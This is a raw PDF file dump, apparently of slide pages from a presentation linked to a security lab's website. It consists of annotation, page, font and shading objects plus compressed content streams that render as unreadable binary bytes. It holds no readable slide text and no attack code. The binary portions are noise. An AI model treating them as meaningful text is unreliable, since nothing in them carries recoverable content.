/Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 464 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation8) >> >> endobj 465 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 466 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 467 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 468 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation8) >> >> endobj 469 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 470 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 471 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 472 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 473 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 474 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 475 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 476 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 477 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 478 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 479 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 480 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 481 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 482 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 483 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 484 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 485 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 486 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 182.753 -0.996 291.642 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 487 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm15 244 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 488 0 obj << /Type /Page /Contents 489 0 R /Resources 487 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 491 0 R /Annots [ 461 0 R 462 0 R 463 0 R 464 0 R 465 0 R 466 0 R 467 0 R 468 0 R 469 0 R 470 0 R 471 0 R 472 0 R 473 0 R 474 0 R 475 0 R 476 0 R 477 0 R 478 0 R 479 0 R 480 0 R 481 0 R 482 0 R 483 0 R 484 0 R 485 0 R 457 0 R 458 0 R 459 0 R 460 0 R 486 0 R ] /AA << /O << /S /GoTo /D [ 523 0 R /Fit ] >> >> >> endobj 489 0 obj << /Length 1812 /Filter /FlateDecode >>stream xZ[o[7 ~^:Qѥo+\={' ͥKRvڡ+DR$gBWul+(atB{-A;q=BneP21[zq%n5( :եIrةRC=R_eg'1 v~y;_kӤS4N.Цr 1Ni;^J JK!ЉMvQEo8'Sq($ܭ,y(t%1cb`gcAp^^2[Sr&s@O &MKiϭI P\wJ$Yl-#u6>A/"өHr/Jiq<n hprsY;<(w؋DUާ-9ae!I1ފeҞm2gnA%fV<(?Dg9[wl:S޳,PJX8zBrYD"\pvYtNPolLQeI C3;ԴQF!UEDCkN%mY'U3E`R)hS:n[0plTUfLj^ &(Z-ڨҒ .xvbTE2y3 sN?`7.w9R_'~Oo/:Eԅ$qC"'0Z tRiZUԟZ&N>`t=&WYk?di's- rӬF毥nB5:'&s-g||=]f^)lɔ3%tӓ /7i n?kI<]} |?umRzo]VRȅ,)m`[R{R)! b^JqBTa/<.yG.Ɍ}\5_f+1Y X%*!{&8G'3onnX?r#Q9'Z}|o&P޺Iz/Mjalea Б=xFg/""r!zqU\XVT09=<'NΨ0;O ~pa|2?3BqH\巋dLmJ'#y=$S¸Hc fHnˑ v@X9t :%nUFA]k#4+_ > endobj 491 0 obj << /Count 6 /Kids [ 488 0 R 523 0 R 557 0 R 590 0 R 631 0 R 673 0 R ] /Type /Pages /Parent 1288 0 R >> endobj 492 0 obj << /D [ 523 0 R /XYZ 334.488 1.245 null ] >> endobj 493 0 obj << /D [ 590 0 R /XYZ 334.488 1.245 null ] >> endobj 494 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 5669.291 3.985 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 527 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 495 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 4.689 4.689 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 528 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 496 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 497 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 498 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 499 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation9) >> >> endobj 500 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 501 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation8) >> >> endobj 502 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation8) >> >> endobj 503 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation9) >> >> endobj 504 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 505 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 506 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 507 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 508 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 509 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 510 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 511 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 512 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 513 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 514 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 515 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 516 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 517 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 518 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 519 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 520 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 521 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 182.753 -0.996 291.642 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 522 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F63 525 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Fm16 494 0 R /Fm17 495 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 523 0 obj << /Type /Page /Contents 524 0 R /Resources 522 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 491 0 R /Annots [ 496 0 R 497 0 R 498 0 R 499 0 R 500 0 R 501 0 R 502 0 R 503 0 R 504 0 R 505 0 R 506 0 R 507 0 R 508 0 R 509 0 R 510 0 R 511 0 R 512 0 R 513 0 R 514 0 R 515 0 R 516 0 R 517 0 R 518 0 R 519 0 R 520 0 R 521 0 R ] /AA << /O << /S /GoTo /D [ 557 0 R /Fit ] >> >> >> endobj 524 0 obj << /Length 2675 /Filter /FlateDecode >>stream x[S#X"oI8*˃NL C9J +JntOOOwOf׼jxsǗw@፲ye$6isvWp 4\5 h^tFc\\**& l9%2)Lp@A)nj LKLf{\s85JT;pJ1L64]04MK"<6㢁ASIMYdYXȮ(قPңqnBpMI8QJj*2sgUzz">_5y/qr$JAMrݕnVY1ȩ `6#Ynl;E&&a& {|H s.܂,i/Fãt}oé򸈔"~77o㣈r} Ad+c@24A(U4D*<| \ Ox%W87*)|K՘ֶ_q`6?JMɮN+ [p~v.$W8i2G{=o1?!=zHMnN.~z_LqGW.C].~zxQ~;m[g+7UR̷)'|;3rIh&]5tAR%f0U*TuGaQROf\'cS÷e6oj(*v(X|<%ޘRڐ6%JLҤT!b6ßuJF*^\5 vtAA 5XٸPߢm^[5}*P*)lZ8V& l#LP>T׊^4{ J6"t4@'T *ʩT]M*BM #<,:eY\HpSj4v$%ioREy\As1GS1%YC mmZщ7.tNf絎 .|b{^mՋ5).IeDiPCnrU7UAA#B(F9h&~lܶvڐkAT$Z[. Upp9=fg0.:܆{jS9%ٶβ`mlh~]I pgk%O5b]] НrVT*3: $.zgC yX'^y D98`_ zob/@5ͅL#*˼;",<&,Xp>W2g = +/ E@?d wD1CSN696bt:(#X[@x*]DVUS(9wjrFodHE6w8K'Eƫb`J'!i1n5'mjOIuBk!mvM!ƛ`SS}? Sf$R%:&tOYCj[ C`)< }u&,$gI"ia#cvƷyJ> q ^rY_+s/O [7!T|YC(TR_%u:XD wBCN(r`M E L/^69<*&?闄M7bSM;k9J˴ F ښckZht3%a{>(^wp79fe%1'oc6BTNw;C,wY|8-& a}|9nHu⑑ƜאaSj!a7LHvN+7;V҆is%=.auE4a_: Oؗ(K6Fv7 &S jX;.W(>L=\E`hbE›,ʐ|Y0NOa_>B~(G gwěZ"gTaNκØoʛ1`+(ˇt C8y^ٷK9{v&p9/6hEFR`=c[_oױt8Ij).%_GgygxHp}t6cJ:,9?o RY߽:U m5&)OS%<~*Tk)=$N9 8Q-kho endstream endobj 525 0 obj << /Type /Font /Subtype /Type1 /BaseFont /GHMJCT+CMTT10 /FontDescriptor 1283 0 R /FirstChar 40 /LastChar 120 /Widths 1248 0 R >> endobj 526 0 obj << /D [ 523 0 R /XYZ 334.488 1.245 null ] >> endobj 527 0 obj << /Shading << /Sh << /ShadingType 2 /ColorSpace /DeviceRGB /Domain [ 0 3.9851 ] /Coords [ 0 0 0 3.9851 ] /Function << /FunctionType 3 /Domain [ 0 3.9851 ] /Functions [ << /FunctionType 2 /Domain [ 0 3.9851 ] /C0 [ 1 0.8125 0.8125 ] /C1 [ 1 0.8125 0.8125 ] /N 1 >> << /FunctionType 2 /Domain [ 0 3.9851 ] /C0 [ 1 0.8125 0.8125 ] /C1 [ 1 0.25 0.25 ] /N 1 >> ] /Bounds [ 1.99255 ] /Encode [ 0 1 0 1 ] >> /Extend [ false false ] >> >> /ProcSet [ /PDF ] >> endobj 528 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [ 0 2.34438 ] /Coords [ 1.52634 3.34418 0 2.34438 2.34438 2.34438 ] /Function << /FunctionType 3 /Domain [ 0 2.34438 ] /Functions [ << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 1 0.85 0.85 ] /C1 [ 1 0.25 0.25 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 1 0.25 0.25 ] /C1 [ 0.7 0 0 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.7 0 0 ] /C1 [ 0.5 0 0 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.5 0 0 ] /C1 [ 1 0.8125 0.8125 ] /N 1 >> ] /Bounds [ 0.72711 1.45424 1.99962 ] /Encode [ 0 1 0 1 0 1 0 1 ] >> /Extend [ true false ] >> >> /ProcSet [ /PDF ] >> endobj 529 0 obj << /D [ 557 0 R /XYZ 334.488 1.245 null ] >> endobj 530 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 531 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation8) >> >> endobj 532 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 533 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 534 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation8) >> >> endobj 535 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation9) >> >> endobj 536 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation9) >> >> endobj 537 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 538 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 539 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 540 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 541 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 542 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 543 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 544 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 545 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 546 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 547 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 548 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 549 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 550 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 551 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 552 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 553 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 554 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 555 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 182.753 -0.996 291.642 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 556 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F66 559 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Fm16 494 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 557 0 obj << /Type /Page /Contents 558 0 R /Resources 556 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 491 0 R /Annots [ 530 0 R 531 0 R 532 0 R 533 0 R 534 0 R 535 0 R 536 0 R 537 0 R 538 0 R 539 0 R 540 0 R 541 0 R 542 0 R 543 0 R 544 0 R 545 0 R 546 0 R 547 0 R 548 0 R 549 0 R 550 0 R 551 0 R 552 0 R 553 0 R 554 0 R 555 0 R ] /AA << /O << /S /GoTo /D [ 590 0 R /Fit ] >> >> >> endobj 558 0 obj << /Length 2703 /Filter /FlateDecode >>stream x[KsW/&P]J\9D$|r%*A@Y`)S*[%-gz1n*V;bkOOJ8+aEÅmu}~{n]ǥT([-yKa\[`Bj Oas2j#'Hi-}Mlu:uc(a% l9Ex%lוki\ՎIzW8kco`gth#ck47Sh! 5Ū#0۔U3)"?G6(hLj# /S1Ht+g5o4lLlv9 )xr7Qd#rO.H`t|ehACY"${C%,c`4IGk xXo 5 &wX|ȓ:KڧA yH^,4&nF_kŝDvz$_*=7űA`ۥwS&!lQG'-Ye%˥6ӘI a^$dDF%T&6eSkRۖe K{P@?m=4n ~֓bEpHwTu)M1e<>V gpE2"׃!fPQy#(.q 5*!] E q` *yQUfv3n}f ,U9}gӘFm/~=g!P FE7s T3 p9 .Pc< =48>wEl#Y$~?) ~Ի߮M o~.=[LP?c4V)]LqihEk #^abBp bo)1Z`t%-IzJ4TcjmfvBS%ܘw#WòxEXx F!0j``Ǥ Fh} 0 jẌ́c(ݗM t:'Zkϒ6.n0~y~n=y~}6DLkvOV5:_uԫ uĈ22BKGLY)@*xar#\$t7a4 `\/LV,PQə1z4Vr6<ȡ% 8\3눈c蹸DʴEgJp \qg2d4xO|Ћ0qJI EV.LomBYJo b5ˤM{O ]T2Ɋ> ƩIi>\& ~ט?%WVE: x"4D3]\wٗq_}{ ]ʑ,Y?M@ۅܼɄP͚p|apg.c|ZuNۻ;n=2&i#vr,x/ݴr{x1Gp i\_+Ad wLƃYqQj[[3q㖷{y}E{;c8x9vqЂoyf/2 endstream endobj 559 0 obj << /Type /Font /Subtype /Type1 /BaseFont /KQSAKW+CMSSBX10 /FontDescriptor 1269 0 R /FirstChar 19 /LastChar 122 /Widths 1247 0 R >> endobj 560 0 obj << /D [ 557 0 R /XYZ 334.488 1.245 null ] >> endobj 561 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 5669.291 3.985 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 594 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 562 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 4.689 4.689 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 595 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 563 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 564 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation9) >> >> endobj 565 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 566 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 567 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation9) >> >> endobj 568 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 569 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 570 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 571 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 572 0 obj << /Type /Annot /Border [ 0 0 